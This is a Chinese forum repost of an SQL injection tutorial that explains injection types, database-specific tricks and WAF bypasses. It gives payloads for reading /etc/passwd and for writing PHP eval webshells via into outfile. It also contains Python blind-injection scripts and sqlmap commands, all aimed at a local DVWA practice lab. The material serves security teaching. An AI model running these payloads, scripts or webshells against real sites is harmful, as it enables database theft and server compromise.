本帖最后由 only 于 2020-2-20 13:16 编辑
转载自:原创:红日安全
1. SQL注入
1.1 漏洞简介
结构化查询语言(Structured Query Language,缩写:SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言。1986年10月,美国国家标准学会对SQL进行规范后,以此作为关系式数据库管理系统的标准语言(ANSI X3. 135-1986),1987年得到国际标准组织的支持下成为国际标准。不过各种通行的数据库系统在其实践过程中都对SQL规范作了某些编改和扩充。所以,实际上不同数据库系统之间的SQL不能完全相互通用。
1.2 漏洞原理可以通过网站存在的查询语句进行构造,为此开发者对其伤透了脑筋,漏洞不光是查询,可能还存在与API、隐藏链接、http头数据、写入数据等。需要对数据包的结构和传递函数比较了解,建议学习的时候把数据库的日志打开,就可以查看到传递到数据库的语句是什么样子的了。
需要记住的information_schema数据库的SCHEMATA、TABLES、COLUMNS。
SCHEMATA表中存放所有数据库的名,字段名为SCHEMA_NAME。
关键函数database() 当前数据库名、version() 当前mysql版本、user()当前mysql用户. 1.3 漏洞危害危害较高的漏洞,可以获取敏感信息,修改信息,脱裤,上传 webshell,执行命令。 2. SQL漏洞类型2.1 区分数字和字符串数字上是不加单引号的如’2’+‘2’=‘22’而非’4’
而2+2=4 2.2 内联SQL注入sql注入主要是靠内联SQL来进行注入的
and or 与或非的判断来进行内联SQL注入,等于在原先的语句上扩展出来的语句 2.3 报错注入报错注入顾名思义主要是利用数据库报错来进行判断是否存在注入点。如果不符合数据库语法规则就会产生错误。
常用的特殊字符:’ \ ; %00 ) ( # " 2.4 盲注2.4.1 常用函数1)函数length()
计算数据库长度 - <font color="#000000">id=1' and lengh(database())=8;</font>
复制代码2)函数left(a)=b
sql的left()函数如果式子成立返回1如果不成立返回0 - <font color="#000000">select left(database(),1)='r';</font>
复制代码一般用来猜测库的名字
3)函数substr()
substr()和substring()函数实现的功能是一样的,均为截取字符串。
substring(string, start, length)
substr(string, start, length)
length(可选)要返回的字符数。如果省略,则 mid() 函数返回剩余文本 - <font color="#000000">select substr(database(),1,1)='a';</font>
复制代码可进行单字符验证可进行全字符验证
4)函数mid()
mid(string,start,length)
string(必需)规定要返回其中一部分的字符串。
start(必需)规定开始位置(起始值是 1)。
length(可选)要返回的字符数。如果省略,则 mid() 函数返回剩余文本 - <font color="#000000">select mid(database(),1)='testt';</font>
复制代码可进行单字符验证可进行全字符验证 5)函数ascii()
返回字符串str的最左字符的数值。返回0,如果str为空字符串。返回NULL,如果str为NULL。ASCII()返回数值是从0到255;
只会返回最左边字符的可以配合substr() 6)ord函数
ORD() 函数返回字符串第一个字符的 ASCII 值。 7)函数updatexml() - <font color="#000000">updatexml(XML_document, XPath_string, new_value);</font>
复制代码第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
在当前数据库中演示 8)函数exp()
exp是以e为底的指数函数。可能会存在溢出 - <font color="#000000">mysql> select exp(1);
- +-------------------+
- | exp(1) |
- +-------------------+
- | 2.718281828459045 |
- +-------------------+
- 1 row in set (0.00 sec)</font>
复制代码由于数字太大是会产生溢出。这个函数会在参数大于709时溢出,报错 - <font color="#000000">mysql> select exp(709);
- +-----------------------+
- | exp(709) |
- +-----------------------+
- | 8.218407461554972e307 |
- +-----------------------+
- 1 row in set (0.00 sec)
- mysql> select exp(710);
- ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'</font>
复制代码 2.4.2 布尔类型注入如果成功注入会正确显示内容,如果没成功会显示非正常内容。 2.4.3 无报错回显注入没有任何报错显示,但是能根据页面是否正确显示来进行判断。如搜索注入没有内容,正常搜索应该是有内容的。 2.4.4 时间注入如果exp1为true返回值为sleep,如果为假返回值为1。ps:前提是网络延迟较低的情况。。 - <font color="#000000">if(length(database())>1,sleep(5),1)</font>
复制代码
2.5 堆叠查询注入通过分号隔开执行多条语句。 2.6 Union注入前面不存在才会执行后面的语句,一般配合的是布尔类型的盲注 2.7 二次注入在存入数据库的时候做了过滤,但是取出来的时候没有做过滤,而产生的数据库注入。 2.8宽字节注入数据库大多数为GBK才可以%df 2.9 cookie注入cookie中的参数也有可能存在注入 2.10 编码注入Base64 2.11 XFF注入攻击X-Forwarded-for伪造客户端IP 2.12 DNS_logdnslog 2.13 组合注入通过上述所有的注入方式进行组合攻击,如union+盲注 3. SQL注入绕过大小写绕过
pathinfo配合dnslog
原本是id=1
变成1.txt?id=1 4. SQL数据库种类4.1 Access本地访问 4.2 MySQL端口号:3306
需要记住默认库information_schema和其中的表SCHEMATA、TABLES和COLUMNS
SCHEMATA 存储的是用户创建所有数据库的库名记录数据库库名的字段为SCHEMA_NAME,这就是为什么这条数据库语句可以查询到全部数据库的原因
select schema_name from information_schema.schemata 查询全部数据库
select table_schema,table_name from information_schema.tables 查询全部数据库和表的对应
select column_name from information_schema.columns; 查询全部列
select 列 from xxxx库.xxx表; 查询值 limit 后使用 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1) 这种方式触发 sql 注入,受到 Mysql 版本的限制,其区间在 Mysql 5.1.5 - Mysql5.5 附近。 注释符号:--空格,/* */内联注释,# Mysql–后面要加一个空格或者控制字符要不无法注释
‘a’ ‘b’=‘ab’ 4.3 SQLSever端口号:1433
注释符号:--,/* */注释
‘a’+‘b’=‘ab’ 4.4 Oracle端口号:1521
注释符号:--,/* */注释
‘a’||‘b’=‘ab’ 4.5 PostgreSQL端口号:5432或者5433
注释符号:--,/* */注释
‘a’||‘b’=‘ab’ 4.6 DB2端口号:5000
SQLite
一种数据库文件,特别小,就一个库多个表,可用sqlite或者sqlite2打开 4.7 MongoDB端口号:27017 5. SQL攻击手段5.1 数据库提权5.2 万能密码登陆ASP站点’or’=‘or’ 5.3 窃取哈希口令5.4 数据库Dump5.5 读写文件5.5.1 load_file()读取文件操作前提:
知道文件的绝对路径
能够使用 union 查询
对 web 目录有写的权限
union select 1,load_file('/etc/passwd'),3,4,5#
0x2f6574632f706173737764
union select 1,load_file(0x2f6574632f706173737764),3,4,5#
路径没有加单引号的话必须转换十六进制
要是想省略单引号的话必须转换十六进制 5.5.2 into outfile 写入文件操作前提:
文件名必须是全路径(绝对路径)
用户必须有写文件的权限
没有对单引号'过滤 - <font color="#000000">select '<?php phpinfo(); ?>' into outfile 'C:\Windows\tmp\8.php'
- select '<?php @eval($_POST["admin"]); ?>' into outfile
- 'C:\phpStudy\PHPTutorial\WWW\8.php'</font>
复制代码路径里面两个反斜杠\可以换成一个正斜杠/
PHP 语句没有单引号的话,必须转换成十六进制
要是想省略单引号'的话,必须转换成十六进制 - <?php eval($_POST["admin"]); ?> 或者 <?php
- eval($_GET["admin"]); ?>
- <?php @eval($_POST["admin"]); ?>
- <?php phpinfo(); ?>
- <?php eval($_POST["admin"]); ?>
- 有时候得写成
- <?php eval(\$_POST["admin"]); ?>
复制代码建议一句话 PHP 语句转换成十六进制 5.5.3 数据库备份文件6. 测试方法6.1 手工测试这里我们采用DVWA靶场进行手工测试。 6.1.1 DVWA 简介DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。 6.1.2 DVWA 安装- https://github.com/ethicalhack3r/DVWA/archive/master.zip
复制代码本地PHPStudy搭建DVWA靶机,放入www目录下即可
环境使用PHP+MySQL即可。 6.1.3 测试过程6.1.3.4 Low(1)SQL Injection
其他难度主要是为绕过手段
判断是否存在注入在这里使用一个分号来进行扰乱数据库 查看数据库,发现命令没有生效 使用%23来把后面的内个分号进行注释,这里不能使用#因为#为php的锚点不会传递到服务器。可以正常查询 数据库中发现#把后面的引号注释掉了导致语句成功执行 利用这个特性来进行注入构造语句id=1'or 1=1%23因为后面1=1为真就会把全部的字段全部输出出来。 一下代码显示sql语句。 /var/www/html/www1/vulnerabilities/sqli/source在这个文件下有源码在+一条echo $query (2)堆叠注入
不知道为何会报错把这条语句复制下来在mysql命令行输入没有报错正常显示 (3)union注入 第一步先进行字段数量判断order by xx order by 3的时候出现了报错说明为2个字段代码中也能体现,但是如果是渗透测试是看不见数据库命令的只能通过这个去尝试 得出2个字段后进行union注入id=1'union+select+1,2%23 1和2都显示了说明都可以进行替换。 ?id=1'union+select+table_schema,table_name from information_schema.tables%23把所有数据库的库和表都对应的显示出来了。寻找需要的表
再去查字段?id=1'union+select+column_name,2 from information_schema.columns%23到最后找到属于users表的字段 first_name,password再去构造查询语句 ?id=1'union+select+first_name,password from dvwa.users查询到要拿到的内容了想想有没有简单的方法。
直接去查询他的表对应的字段就简单了 - <font color="#000000">?id=1'union+select+table_name,column_name from information_schema.columns%23</font>
复制代码所以只需要记住information_schema库下的columns表中的字段就可以了库是table_schema,表是table_name,字段是column_name (4)SQL Injection(Bind)
盲注即为不回显内容需要进行尝试根据页面返回的内容是否正常来进行判断 说明存在盲注 (5)内联注入 直接用内联注入简单快捷。。 用length(database())=xx来判断数据库名长度如果成立就会返回正常 说明数据库名为4位
1' and mid(database(),1,1)<'g'#使用mid来判断数据库第一位的内容只需要修改第二个标志位来判断位数如果为正确就会返回存在ID
1' and mid(database(),2,1)='v'#
后面就省略了。之后会有脚本教学进行判断 - <font color="#000000">1' and (select count(table_name) from information_schema.tables where table_schema=database())=1# 显示不存在
- 1' and (select count(table_name) from information_schema.tables where table_schema=database())=2# 显示存在说明当前数据库存在两个表</font>
复制代码- <font color="#000000">1' and length(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9# 显示存在说明第一个表名字长度为9</font>
复制代码- <font color="#000000">1' and mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='g'# 显示存在说明第一个表的第一个字为g</font>
复制代码- <font color="#000000">1' and mid((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='u'# 显示存在说明users表的第一个字段为u</font>
复制代码- <font color="#000000">1' and mid((select first_name from dvwa.users limit 0,1),1,1)='a'# 显示存在说明first_name的字段,第一个的数据为a</font>
复制代码时间盲注加个sleep就可以了 - <font color="#000000">1' and if(length(database())=1,sleep(5),1) # 没有延迟
- 1' and if(length(database())=2,sleep(5),1) # 没有延迟
- 1' and if(length(database())=3,sleep(5),1) # 没有延迟
- 1' and if(length(database())=4,sleep(5),1) # 明显延迟</font>
复制代码
6.1.3.2 Medium(1)SQL Injection 只做绕过不进行详细测试。 发现只是改成了POST型,加了个过滤特殊符号的函数,改成了数字型注入。
成功注入
SQL Injection(Bind)一样就是改成了POST和过滤,数字型盲注。
正常绕过了 6.1.3.3 High(1)SQL Injection 通过外部传递进来的session的id和限制一次只能显示一行
绕过了limit的限制
成功注入
需要特别提到的是,High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。 SQL Injection(Bind)跟上面差不多这个是Cookie的传递id,limit也是限制显示一行
这个比显示注入简单些,直接能在cookie处修改注入 成功绕过
6.1.3.4 Impossible(1)SQL Injection 做了个CSRF的防御,使用了PDO进行了分离数据和参数 先判断了一下id是否为数字如果不为数字直接就会跳过数据库查询,bindParam把id转换为int型,防止输入的数字为字符。进行查询有效限制了恶意构造语句
这个比显示注入简单些,直接能在cookie处修改注入
成功绕过
6.1.3.4 Impossible(1)SQL Injection 做了个CSRF的防御,使用了PDO进行了分离数据和参数 先判断了一下id是否为数字如果不为数字直接就会跳过数据库查询,bindParam把id转换为int型,防止输入的数字为字符。进行查询有效限制了恶意构造语句
(2)SQL Injection(Bind) 跟如上一样
6.2 工具测试继续对DVWA靶场进行测试。 6.2.1 Python半自动化脚本多用于盲注,这里只演示盲注 6.2.1.1 注入数据库名- """
- @Product:DVWA
- @Author:Aixic
- @create:2019-06-04-19:33
- """
- import urllib.request
- header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36'
- ,'Cookie':'PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low'}
- payload="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}"
- url="http://192.168.123.20/vulnerabilities/sqli_blind/?id=1"
- end="&Submit=Submit#"
- #1%27+and+mid%28database%28%29%2C1%2C1%29%3D%27d%27%23
- if __name__ == '__main__':
- a=""
- for i in range(1,20):
- for j in payload:
- url1="%27+and+mid%28database%28%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
- url_code_name = urllib.parse.quote(url1)
- #print(url1)
- try:
- rp = urllib.request.Request(url + url1 + end, headers=header)
- respon = urllib.request.urlopen(rp)
- html = respon.read().decode('utf-8')
- if "User ID exists in the database." in html:
- a+=j
- print(a)
- break
- except:
- continue
复制代码 6.2.1.2 查询数据库名- """
- @Product:DVWA
- @Author:Aixic
- @create:2019-06-04-19:33
- """
- import urllib.request
- header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36'
- ,'Cookie':'PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low'}
- payload="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}"
- urlhead="http://192.168.123.20/vulnerabilities/sqli_blind/?id=1"
- end="&Submit=Submit#"
- #1%27+and+mid%28database%28%29%2C1%2C1%29%3D%27d%27%23
- if __name__ == '__main__':
- a=""
- c = 0
- for k in range(0,20):
- a+="\r\n"+str(k)+":"
- if c==2:
- print("结束了")
- exit()
- for i in range(1,20):
- for j in payload:
- #url="%27+and+mid%28database%28%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
- url="%27+and+mid%28%28select+schema_name+from+information_schema.schemata+limit+"+str(k)+"%2C1%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
- #' and mid((select schema_name from information_schema.schemata limit 0,1),1,1)='i'#
- try:
- rp = urllib.request.Request(urlhead + url + end, headers=header)
- respon = urllib.request.urlopen(rp)
- html = respon.read().decode('utf-8')
- if "User ID exists in the database." in html:
- a+=j
- print(a)
- c = 0
- break
- except:
- continue
- c += 1
复制代码
6.2.1.3 查询数据库的全部表- import urllib.request
- header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36'
- ,'Cookie':'PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low'}
- payload="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}"
- urlhead="http://192.168.123.20/vulnerabilities/sqli_blind/?id=1"
- end="&Submit=Submit#"
- #1%27+and+mid%28database%28%29%2C1%2C1%29%3D%27d%27%23
- if __name__ == '__main__':
- a=""
- c = 0
- for k in range(0,20):
- a+="\r\n"+str(k)+":"
- if c==2:
- print("结束了")
- exit()
- for i in range(1,20):
- for j in payload:
- #url="%27+and+mid%28database%28%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
- #url="%27+and+mid%28%28select+schema_name+from+information_schema.schemata+limit+"+str(k)+"%2C1%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
- url="%27+and+mid%28%28select+table_name+from+information_schema.tables+where+table_schema%3Ddatabase%28%29+limit+"+str(k)+"%2C1%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
- #' and mid((select schema_name from information_schema.schemata limit 0,1),1,1)='i'#
- try:
- rp = urllib.request.Request(urlhead + url + end, headers=header)
- respon = urllib.request.urlopen(rp)
- html = respon.read().decode('utf-8')
- if "User ID exists in the database." in html:
- a+=j
- print(a)
- c = 0
- break
- except:
- continue
- c += 1
复制代码
6.2.1.4 查询数据库的表的全部字段- """
- @Product:DVWA
- @Author:Aixic
- @create:2019-06-04-19:33
- """
- import urllib.request
- header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36'
- ,'Cookie':'PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low'}
- payload="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}"
- urlhead="http://192.168.123.20/vulnerabilities/sqli_blind/?id=1"
- end="&Submit=Submit#"
- #1%27+and+mid%28database%28%29%2C1%2C1%29%3D%27d%27%23
- if __name__ == '__main__':
- a=""
- c = 0
- for k in range(0,20):
- a+="\r\n"+str(k)+":"
- if c==2:
- print("结束了")
- exit()
- for i in range(1,20):
- for j in payload:
- #url="%27+and+mid%28database%28%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
- #url="%27+and+mid%28%28select+schema_name+from+information_schema.schemata+limit+"+str(k)+"%2C1%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
- #url="%27+and+mid%28%28select+table_name+from+information_schema.tables+where+table_schema%3Ddatabase%28%29+limit+"+str(k)+"%2C1%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
- url="%27+and+mid%28%28select+column_name+from+information_schema.columns+where+table_name%3D%27users%27+limit+"+str(k)+"%2C1%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
- #' and mid((select schema_name from information_schema.schemata limit 0,1),1,1)='i'#
- try:
- rp = urllib.request.Request(urlhead + url + end, headers=header)
- respon = urllib.request.urlopen(rp)
- html = respon.read().decode('utf-8')
- if "User ID exists in the database." in html:
- a+=j
- print(a)
- c = 0
- break
- except:
- continue
- c += 1
复制代码
6.2.1.5 查询字段数据- """
- @Product:DVWA
- @Author:Aixic
- @create:2019-06-04-19:33
- """
- import urllib.request
- header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36'
- ,'Cookie':'PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low'}
- payload="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}"
- urlhead="http://192.168.123.20/vulnerabilities/sqli_blind/?id=1"
- end="&Submit=Submit#"
- #1%27+and+mid%28database%28%29%2C1%2C1%29%3D%27d%27%23
- if __name__ == '__main__':
- a=""
- c = 0
- for k in range(0,20):
- a+="\r\n"+str(k)+":"
- if c==2:
- print("结束了")
- exit()
- for i in range(1,20):
- for j in payload:
- #url="%27+and+mid%28database%28%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
- #url="%27+and+mid%28%28select+schema_name+from+information_schema.schemata+limit+"+str(k)+"%2C1%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
- #url="%27+and+mid%28%28select+table_name+from+information_schema.tables+where+table_schema%3Ddatabase%28%29+limit+"+str(k)+"%2C1%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
- #url="%27+and+mid%28%28select+column_name+from+information_schema.columns+where+table_name%3D%27users%27+limit+"+str(k)+"%2C1%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
- url="%27+and+mid%28%28select+first_name+from+dvwa.users+limit+"+str(k)+"%2C1%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
- #' and mid((select schema_name from information_schema.schemata limit 0,1),1,1)='i'#
- try:
- rp = urllib.request.Request(urlhead + url + end, headers=header)
- respon = urllib.request.urlopen(rp)
- html = respon.read().decode('utf-8')
- if "User ID exists in the database." in html:
- a+=j
- print(a)
- c = 0
- break
- except:
- continue
- c += 1
复制代码
6.2.2 SQLMAP
6.2.2.1 SQLMAP参数(1)Options - -h, --help 查看帮助,没什么好说的
- -hh 查看全部的帮助
- --version 查看版本
- -v 显示信息的级别,一共有六级:0:只显示python 错误和一些严重信息;1:显示基本信息(默认);2:显示debug信息;3:显示注入过程的payload;4:显示http请求包;5:显示http响应头;7:显示http相应页面。
复制代码 (2)Target - -d 直接连目标后端接数据库,而不是使用sql注入漏洞,直接通过目标的侦听端口连接,当然需要有目标数据库的账号名和密码。例:-d "mysql://user:password@192.168.75.128:3389/databasename" --dbs 查询非常快。
- -u 指定一个url连接,url中必须有?xx=xx 才行(最常用的参数)例:-u "www.abc.com/index.php?id=1"
- -l 后接一个log文件,可以是burp等的代理的log文件,之后sqlmap会扫描log中的所有记录。例: -l log.txt
- -x 站点地图,提交给sql一个xml文件。
- -m 后接一个txt文件,文件中是多个url,sqlmap会自动化的检测其中的所有url。例: -m target.txt
- -r 可以将一个post请求方式的数据包保存在一个txt中,sqlmap会通过post方式检测目标。例: -r post.txt
- -g 使用google引擎搜索类似的网址,并且多目标检测。例: -g "inurl:".php?id=1"" \是转义
- -c 将使用的命令写在一个文件中,让sqlmap执行文件中的命令,我们可以用--save命令将配置写入文件。
复制代码 (3)Request
- --method=METHOD 指定是get方法还是post方法。例: --method=GET --method=POST
- --data=DATA 指明参数是哪些。例:-u "www.abc.com/index.php?id=1" --data="name=1&pass=2"
- --param-del=PARA. 指明使用的变量分割符。例: -u "www.abc.com/index.php?id=1" --data="name=1;pass=2" --param-del=";"
- --cookie=COOKIE 指定测试时使用的cookie,通常在一些需要登录的站点会使用。例: -u "www.abc.com/index.php?id=1" --cookie="a=1;b=2"
- --cookie-del=COO.. 和前面的 --param-del=PARA. 类似,就是指明分割cookie的字符。
- --load-cookies=L.. 从包含Netscape / wget格式的cookie的文件中加载cookie。
- --drop-set-cookie 默认情况下,sqlmap是开启set-cookie功能的,也就是当收到一个含有set-cookie的http包的时候,下次sql会使用新的cookie进行发包,如果使用这条命令,就会关闭这个功能。在level>=2时会检测cookie注入。
- --user-agent=AGENT 指定一个user-agent的值进行测试。例: --user-agent="aaaaaaa" 默认情况下,sqlmap会使用自己的user-agent进行测试(所以很多服务器发现user-agent是sqlmap的数据包直接认为是入侵),sqlmap自己的user-agent是:sqlmap/1.0-dev-nongit-201603020a89(http://sqlmap.org)
- --random-agent 使用随机user-agent进行测试。sqlmap有一个文件中储存了各种各样的user-agent,文件在sqlmap/txt/user-agent.txt 在level>=3时会检测user-agent注入。
- --host=HOST 指定http包中的host头参数。例: --host="aaaaaa" 在level>=5时才会检查host头注入。\n是换行
- --referer=REFERER 指定http包中的refere字段。例: --refere="aaaaa" 在level>=3时才会检测refere注入。
- -H --headers 额外的header头,每个占一行。例:--headers="host:www.a.com\nUser-Agent:yuangh"
- --headers=HEADERS 跟上边一样,再举一个例子: --headers="Accept-Language: fr\nETag: 123" 注意所有构造http包的部分均区分大小写
- --auth-type=AUTH.. 基于http身份验证的种类。例: --auth-type Basic/Digest/NTLM 一共有三种认证方式。
- --auth-cred=AUTH.. 使用的认证,例: --auth-type Basic --auth-cred "user:password"
- --auth-file=AUTH.. 使用.PEM文件中的认证。例:--auth-file="AU.PEM" 少见。
- --ignore-code=IG.. 无视http状态码。例: --ignore-code=401
- --ignore-proxy 无视本地的代理,有时候机器会有最基本的代理配置,在扫描本地网段的时候会很麻烦,使用这个参数可以忽略代理设置。
- --ignore-redirects 无视http重定向,比如登录成功会跳转到其他网页,可使用这个忽略掉。
- --ignore-timeouts 忽略连接超时。
- --proxy=PROXY 指定一个代理。例: --proxy="127.0.0.1:8087" 使用GoAgent代理。
- --proxy-cred=PRO.. 代理需要的认证。例: --proxy="name:password"
- --proxy-file=PRO.. 从一个文件加载代理的认证。
- --tor 使用tor匿名网络,不懂。
- --tor-port=TORPORT 设置默认的tor代理端口,不懂+2。
- --tor-type=TORTYPE 设置tor代理种类,(HTTP, SOCKS4 or SOCKS5 (默认)),不懂+3。
- --check-tor 检查是否正确使用Tor,不懂+4。
- --delay=DELAY 每次发包的延迟时间,单位为秒,浮点数。例:--delay 2.5 有时候频繁的发包会引起服务器注意,需要使用delay降低发包频率。
- --timeout=TIMEOUT 请求超时的时间,单位为秒,浮点数,默认30s。
- --retries=RETRIES 超时重连次数,默认三次。例: --retries=5
- --randomize=RPARAM 参数的长度,类型与输入值保持一致的前提下,每次请求换参数的值。有时候反复的提交同一个参数会引起服务器注意。
- --safe-url=SAFEURL 用法和-u类似,就是一个加载测试url的方法,但额外功能是防止有时候时间长了不通讯服务器会销毁session,开启这种功能会隔一段时间发一个包保持session。
- --safe-post=SAFE.. 和上面的一样,只是使用post的方式发送数据。
- --safe-req=SAFER.. 和上面的一样,只是从一个文件获得目标。
- --safe-freq=SAFE.. 频繁的发送错误的请求,服务器也会销毁session或者其他惩罚方式,开启这个功能之后,发几次错的就会发一次对的。通常用于盲注。
- --skip-urlencode 跳过url编码,毕竟不排除有的奇葩网站url不遵守RFC标准编码。
- --csrf-token=CSR.. 保持csrf令牌的token。
- --csrf-url=CSRFURL 访问url地址获取csrf的token。
- --force-ssl 强制使用ssl。
- --hpp 使用http参数污染,通常http传递参数会以名称-值对的形势出现,通常在一个请求中,同样名称的参数只会出现一次。但是在HTTP协议中是允许同样名称的参数出现多次的,就可能造成参数篡改。
- --eval=EVALCODE 执行一段指定的python代码。例: -u "www.abc.com/index.php?id=1" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
复制代码 (4)Optimization
- -o 开启下面三项(--predict-output,--keep-alive, --null-connection)
- --predict-output 预设的输出,可以理解为猜一个表存在不存在,根据服务器返回值来进行判断,有点类似暴力破解,但和暴力破解又不同,这个是一个范围性的暴力破解,一次一次的缩小范围。
- --keep-alive 使用http(s)长链接,性能更好,避免重复建立链接的开销,但占用服务器资源,而且与--proxy不兼容。
- --null-connection 只看页面返回的大小值,而不看具体内容,通常用于盲注或者布尔的判断,只看对错,不看内容。
- --threads=THREADS 开启多线程,默认为1,最大10。和 --predict-output 不兼容。
- Injection
- -p TESTPARAMETER 知道测试的参数,使用这个的话--level 参数就会失效。例: -p "user-agent,refere"
- --skip=SKIP 排除指定的参数。例: --level 5 --skip="id,user-agent"
- --skip-static 跳过测试静态的参数。
- --param-exclude=.. 使用正则表达式跳过测试参数。
- --dbms=DBMS 指定目标数据库类型。例: --dbms="MySQL<5.0>" Oracle<11i> Microsoft SQL Server<2005>
- --dbms-cred=DBMS.. 数据库的认证。利: --dbms-cred="name:password"
- --os=OS 指定目标操作系统。例: --os="Linux/Windows"
- --invalid-bignum 通常情况下sqlmap使用负值使参数失效,比如id=1->id=-1,开启这个之后使用大值使参数失效,如id=9999999999。
- --invalid-logical 使用逻辑使参数失效,如id=1 and 1=2。
- --invalid-string 使用随机字符串使参数失效。
- --no-cast 获取数据时,sqlmap会将所有数据转换成字符串,并用空格代替null。
- --no-escape 用于混淆和避免出错,使用单引号的字符串的时候,有时候会被拦截,sqlmap使用char()编码。例如:select “a”-> select char(97)。
- --prefix=PREFIX 指定payload前缀,有时候我们猜到了服务端代码的闭合情况,需要使用这个来指定一下。例: -u "www.abc.com/index?id=1" -p id --prefix")" --suffix "and ('abc'='abc"
- --suffix=SUFFIX 指定后缀,例子同上。
- --tamper=TAMPER 使用sqlmap自带的tamper,或者自己写的tamper,来混淆payload,通常用来绕过waf和ips。
复制代码 (5)Detection- --level=LEVEL 设置测试的等级(1-5,默认为1)lv2:cookie; lv3:user-agent,refere; lv5:host 在sqlmap/xml/payloads文件内可以看见各个level发送的payload
- --risk=RISK 风险(1-4,默认1)升高风险等级会增加数据被篡改的风险。risk 2:基于事件的测试;risk 3:or语句的测试;risk 4:update的测试
- --string=STRING 在基于布尔的注入时,有的时候返回的页面一次一个样,需要我们自己判断出标志着返回正确页面的标志,会根据页面的返回内容这个标志(字符串)判断真假,可以使用这个参数来制定看见什么字符串就是真。
- --not-string=NOT.. 同理,这个参数代表看不见什么才是真。
- --regexp=REGEXP 通常和上面两种连用,使用正则表达式来判断。
- --code=CODE 也是在基于布尔的注入时,只不过指定的是http返回码。
- --text-only 同上,只不过指定的是页面里的一段文本内容。
- --titles 同上,只不过指定的是页面的标题。
复制代码
(6)Techniques- py3 sqlmap.py -u "http://192.168.123.20/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low" --current-user
复制代码
(3)查看全部数据库- py3 sqlmap.py -u "http://192.168.123.20/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low" --dbs
复制代码
(4)查看数据库全部表- py3 sqlmap.py -u "http://192.168.123.20/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low" -D dvwa --tables
复制代码
(5)查看表字段 - py3 sqlmap.py -u "http://192.168.123.20/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low" -D dvwa -T users --columns
复制代码
|